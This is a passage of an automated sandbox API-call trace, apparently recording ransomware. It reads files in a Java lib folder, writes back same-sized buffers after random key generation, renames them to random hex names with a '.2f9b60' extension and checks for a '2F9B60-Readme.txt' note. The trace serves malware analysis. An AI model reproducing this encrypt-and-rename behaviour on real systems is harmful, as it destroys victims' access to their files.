(x86)\\Java\\jre7\\lib\\0dfa723e950c3c6b06eb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0138.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x2050c9d0 [0138.351] NtSetInformationFile (FileHandle=0x1e98, IoStatusBlock=0x3670fd10, FileInformation=0x2050c9d0, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0138.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c9d0) returned 1 [0138.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cece5e0) returned 1 [0138.354] NtQueryInformationFile (in: FileHandle=0x1e98, IoStatusBlock=0x3670fcd8, FileInformation=0x3670fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3670fcd8, FileInformation=0x3670fce8) returned 0x0 [0138.354] NtSetInformationFile (FileHandle=0x1e98, IoStatusBlock=0x3670fcd8, FileInformation=0x3670fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0138.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4aa80) returned 1 [0138.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ca80) returned 1 [0138.356] FlushFileBuffers (hFile=0x1e98) returned 1 [0138.553] CloseHandle (hObject=0x1e98) returned 1 [0139.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.126] wcscpy (in: _Dest=0x420612b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0139.126] wcscat (in: _Dest=0x420612b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0139.126] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0145.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0145.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 Thread: id = 2075 os_tid = 0x1374 [0138.320] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.bfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fontconfig.bfc")) returned 0x20 [0138.320] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.bfc", dwFileAttributes=0x20) returned 1 [0138.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.bfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ea4 [0138.321] GetFileSizeEx (in: hFile=0x1ea4, lpFileSize=0x3689fb80 | out: lpFileSize=0x3689fb80*=3670) returned 1 [0138.321] SetFilePointerEx (in: hFile=0x1ea4, liDistanceToMove=0xe52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.321] ReadFile (in: hFile=0x1ea4, lpBuffer=0x3689fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3689fb48, lpOverlapped=0x0 | out: lpBuffer=0x3689fb00*, lpNumberOfBytesRead=0x3689fb48*=0x4, lpOverlapped=0x0) returned 1 [0138.330] SetFilePointerEx (in: hFile=0x1ea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0138.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1d0 [0138.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2f0 [0138.330] NtQuerySystemTime (in: CurrentTime=0x3689fa40 | out: CurrentTime=0x3689fa40*=132462177435742000) returned 0x0 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x4711dad0 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x39f46abf [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x720ccd86 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x109c25c6 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x6b959701 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x4eec0516 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x74f075b9 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x683eb97e [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x59fd2be [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x40bcffa [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x570e4be [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x50064f98 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x703a6b0d [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x6c0dddac [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x583422b4 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x239baf8a [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x38221d55 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x5350a1ce [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x1a628269 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x5f8e6708 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x31fb2c50 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x550348 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x4d48b1e5 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0xf2bccd0 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x7602b914 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x6ef5417d [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x5d9fdd5 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x18e8bb2e [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x18e9fa48 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x5091901d [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x44cbb565 [0138.331] RtlRandomEx (in: Seed=0x3689fa30 | out: Seed=0x3689fa30) returned 0x673d6280 [0138.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a140 [0138.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0138.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0138.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0138.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2f0) returned 1 [0138.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0138.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0138.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0138.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0138.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0138.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42076d10 [0138.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4207a920 [0138.342] ReadFile (in: hFile=0x1ea4, lpBuffer=0x42076d10, nNumberOfBytesToRead=0xe56, lpNumberOfBytesRead=0x3689fa30, lpOverlapped=0x0 | out: lpBuffer=0x42076d10*, lpNumberOfBytesRead=0x3689fa30*=0xe56, lpOverlapped=0x0) returned 1 [0138.342] SetFilePointerEx (in: hFile=0x1ea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.342] WriteFile (in: hFile=0x1ea4, lpBuffer=0x4207a920*, nNumberOfBytesToWrite=0xe56, lpNumberOfBytesWritten=0x3689fa34, lpOverlapped=0x0 | out: lpBuffer=0x4207a920*, lpNumberOfBytesWritten=0x3689fa34*=0xe56, lpOverlapped=0x0) returned 1 [0138.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0138.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0138.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0138.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4207a920) returned 1 [0138.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42076d10) returned 1 [0138.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0138.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0138.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cda03b0 [0138.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0138.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0138.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0138.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0138.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cda02f0 [0138.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0138.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0138.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0138.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0138.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0138.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x166f20 [0138.359] SetFilePointerEx (in: hFile=0x1ea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0138.359] WriteFile (in: hFile=0x1ea4, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3689fb50, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3689fb50*=0x10e, lpOverlapped=0x0) returned 1 [0138.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0138.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0138.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0138.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0138.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x4205a680 [0138.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0138.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0138.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0138.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0138.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97850 [0138.376] sprintf (in: _Dest=0x1cd97850, _Format="%c%c" | out: _Dest="6c") returned 2 [0138.376] sprintf (in: _Dest=0x1cd97852, _Format="%c%c" | out: _Dest="9f") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97854, _Format="%c%c" | out: _Dest="ef") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97856, _Format="%c%c" | out: _Dest="d8") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97858, _Format="%c%c" | out: _Dest="f4") returned 2 [0138.377] sprintf (in: _Dest=0x1cd9785a, _Format="%c%c" | out: _Dest="77") returned 2 [0138.377] sprintf (in: _Dest=0x1cd9785c, _Format="%c%c" | out: _Dest="c7") returned 2 [0138.377] sprintf (in: _Dest=0x1cd9785e, _Format="%c%c" | out: _Dest="a4") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97860, _Format="%c%c" | out: _Dest="46") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97862, _Format="%c%c" | out: _Dest="a0") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97864, _Format="%c%c" | out: _Dest="fb") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97866, _Format="%c%c" | out: _Dest="57") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97868, _Format="%c%c" | out: _Dest="d4") returned 2 [0138.377] sprintf (in: _Dest=0x1cd9786a, _Format="%c%c" | out: _Dest="3b") returned 2 [0138.377] sprintf (in: _Dest=0x1cd9786c, _Format="%c%c" | out: _Dest="7a") returned 2 [0138.377] sprintf (in: _Dest=0x1cd9786e, _Format="%c%c" | out: _Dest="ea") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97870, _Format="%c%c" | out: _Dest="a4") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97872, _Format="%c%c" | out: _Dest="0d") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97874, _Format="%c%c" | out: _Dest="3c") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97876, _Format="%c%c" | out: _Dest="6a") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97878, _Format="%c%c" | out: _Dest="08") returned 2 [0138.377] sprintf (in: _Dest=0x1cd9787a, _Format="%c%c" | out: _Dest="b4") returned 2 [0138.377] sprintf (in: _Dest=0x1cd9787c, _Format="%c%c" | out: _Dest="19") returned 2 [0138.377] sprintf (in: _Dest=0x1cd9787e, _Format="%c%c" | out: _Dest="61") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97880, _Format="%c%c" | out: _Dest="7a") returned 2 [0138.377] sprintf (in: _Dest=0x1cd97882, _Format="%c%c" | out: _Dest="60") returned 2 [0138.378] sprintf (in: _Dest=0x1cd97884, _Format="%c%c" | out: _Dest="54") returned 2 [0138.378] sprintf (in: _Dest=0x1cd97886, _Format="%c%c" | out: _Dest="15") returned 2 [0138.378] RtlInitAnsiString (in: DestinationString=0x3689fbc8, SourceString="6c9fefd8f477c7a446a0fb57d43b7aeaa40d3c6a08b419617a605415" | out: DestinationString="6c9fefd8f477c7a446a0fb57d43b7aeaa40d3c6a08b419617a605415") [0138.378] RtlAnsiStringToUnicodeString (in: DestinationString=0x3689fb98, SourceString="6c9fefd8f477c7a446a0fb57d43b7aeaa40d3c6a08b419617a605415", AllocateDestinationString=1 | out: DestinationString="6c9fefd8f477c7a446a0fb57d43b7aeaa40d3c6a08b419617a605415") returned 0x0 [0138.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42060f30 [0138.378] RtlFreeAnsiString (AnsiString="6") [0138.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0138.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0138.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0138.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda02f0) returned 1 [0138.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0138.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda03b0) returned 1 [0138.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0138.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1d0) returned 1 [0138.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a140) returned 1 [0138.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0138.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x42060fb0 [0138.380] wcscat (in: _Dest=0x42060fb0, _Source="6c9fefd8f477c7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\6c9fefd8f477c7") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\6c9fefd8f477c7" [0138.380] wcscat (in: _Dest=0x42060fb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\6c9fefd8f477c7.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\6c9fefd8f477c7.2f9b60" [0138.380] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\6c9fefd8f477c7.2f9b60", NtPathName=0x3689fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\6c9fefd8f477c7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0138.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b1cd0 [0138.380] NtSetInformationFile (FileHandle=0x1ea4, IoStatusBlock=0x3689fc10, FileInformation=0x202b1cd0, Length=0x94, FileInformationClass=0xa) returned 0x0 [0147.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1cd0) returned 1 [0147.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420502e0) returned 1 [0147.354] NtQueryInformationFile (in: FileHandle=0x1ea4, IoStatusBlock=0x3689fbd8, FileInformation=0x3689fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3689fbd8, FileInformation=0x3689fbe8) returned 0x0 [0147.354] NtSetInformationFile (FileHandle=0x1ea4, IoStatusBlock=0x3689fbd8, FileInformation=0x3689fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0147.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0147.368] FlushFileBuffers (hFile=0x1ea4) returned 1 [0147.370] CloseHandle (hObject=0x1ea4) returned 1 [0147.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060f30 [0147.373] wcscpy (in: _Dest=0x42060f30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0147.373] wcscat (in: _Dest=0x42060f30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0147.373] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0147.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864530) returned 1 Thread: id = 2076 os_tid = 0x1384 [0138.361] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.properties.src" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fontconfig.properties.src")) returned 0x20 [0138.363] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.properties.src", dwFileAttributes=0x20) returned 1 [0138.391] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.properties.src" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ed0 [0140.289] GetFileSizeEx (in: hFile=0x1ed0, lpFileSize=0x35bbf820 | out: lpFileSize=0x35bbf820*=10479) returned 1 [0140.289] SetFilePointerEx (in: hFile=0x1ed0, liDistanceToMove=0x28eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.289] ReadFile (in: hFile=0x1ed0, lpBuffer=0x35bbf7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x35bbf7e8, lpOverlapped=0x0 | out: lpBuffer=0x35bbf7a0*, lpNumberOfBytesRead=0x35bbf7e8*=0x4, lpOverlapped=0x0) returned 1 [0140.292] SetFilePointerEx (in: hFile=0x1ed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595b0 [0140.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ac00 [0140.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a660 [0140.292] NtQuerySystemTime (in: CurrentTime=0x35bbf6e0 | out: CurrentTime=0x35bbf6e0*=132462177455398000) returned 0x0 [0140.292] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x5fcd09bb [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x7eb89db3 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x358f5ee8 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x5f7a979a [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x12425c80 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x368e16e7 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x2489b8d3 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x7b7cc92d [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0xbd500e2 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x581245e2 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0xd6f0dd2 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x18212e13 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x56bb7fe2 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x33880e0d [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x517ac4fb [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x775f72eb [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x40e623e2 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x45ad5d53 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x525b9728 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x3ab2e6cc [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x2f6a21b8 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x1020ab1 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x7073eeae [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x11c02dd7 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x4daac26a [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x2086540c [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x7be3d6fb [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x1fb7a3cf [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x2ae78b11 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x39d22006 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x9fe5445 [0140.293] RtlRandomEx (in: Seed=0x35bbf6d0 | out: Seed=0x35bbf6d0) returned 0x4e7c5e6c [0140.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0e0 [0140.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0140.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b80 [0140.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0140.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a660) returned 1 [0140.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595b0) returned 1 [0140.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059fb0 [0140.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0140.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595b0 [0140.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595b0) returned 1 [0140.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e1180 [0140.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e4d90 [0140.309] ReadFile (in: hFile=0x1ed0, lpBuffer=0x421e1180, nNumberOfBytesToRead=0x28ef, lpNumberOfBytesRead=0x35bbf6d0, lpOverlapped=0x0 | out: lpBuffer=0x421e1180*, lpNumberOfBytesRead=0x35bbf6d0*=0x28ef, lpOverlapped=0x0) returned 1 [0140.312] SetFilePointerEx 